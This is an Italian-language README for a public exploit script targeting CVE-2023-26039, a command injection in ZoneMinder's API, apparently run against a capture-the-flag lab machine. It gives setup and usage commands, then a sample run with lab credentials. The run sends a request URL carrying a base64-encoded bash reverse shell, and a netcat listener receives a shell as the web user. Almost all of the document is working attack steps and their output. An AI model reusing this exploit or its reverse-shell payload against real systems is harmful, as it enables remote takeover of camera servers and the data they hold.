
CVE-2023-26039 - ZoneMinder. Qualsiasi utente autenticato può costruire un comando api per eseguire qualsiasi comando shell come utente web.
ZoneMinder è un'applicazione software gratuita e open source per la televisione a circuito chiuso per Linux, che supporta telecamere IP, USB e Analogiche. Le versioni precedenti alla 1.36.33 e 1.37.33 contengono un'iniezione di comandi del sistema operativo tramite daemonControl() in /web/api/app/Controller/HostController.php. Qualsiasi utente autenticato può costruire un comando API per eseguire qualsiasi comando shell come utente web. Questo problema è stato risolto nelle versioni 1.36.33 e 1.37.33.
git clone https://github.com/ungabunga-ctf/CVE-2023-26039
cd CVE-2023-26039
python3 -m venv venv
source venv/bin/activate
pip install requests
python3 CVE-2023-26039.py
python3 CVE-2023-26039.py
usage: CVE-2023-26039.py [-h] -t TARGET -u USERNAME -p PASSWORD [-c CMD] [-lh LHOST] [-lp LPORT]
CVE-2023-26039.py: error: the following arguments are required: -t/--target, -u/--username, -p/--password
Esegui questo nel primo terminale
python3 CVE-2023-26039.py -t http://localhost:8080 -u admin -p starcraft122490 -lh 10.10.15.8 -lp 4444
[+] Got token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJab25lTWluZGVyIiwiaWF0IjoxNzg0MzI4MzU3LCJleHAiOjE3ODQzMzU1NTcsInVzZXIiOiJhZG1pbiIsInR5cGUiOiJhY2Nlc3MifQ.BxB6EGkAyc_eaTg4JMYsbLqgmTCu-vh40l8HOoTNHcM...
http://localhost:8080/api/host/daemonControl/zmdc.pl.pl/%24%28echo%20%22YmFzaCAtYyAnYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNS44LzQ0NDQgMD4mMSc%3D%22%7Cbase64%20-d%7Cbash%29.json
e questo nel secondo
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.8] from (UNKNOWN) [10.129.230.42] 59380
bash: cannot set terminal process group (1080): Inappropriate ioctl for device
bash: no job control in this shell
zoneminder@surveillance:/usr/share/zoneminder/www/api/app/webroot$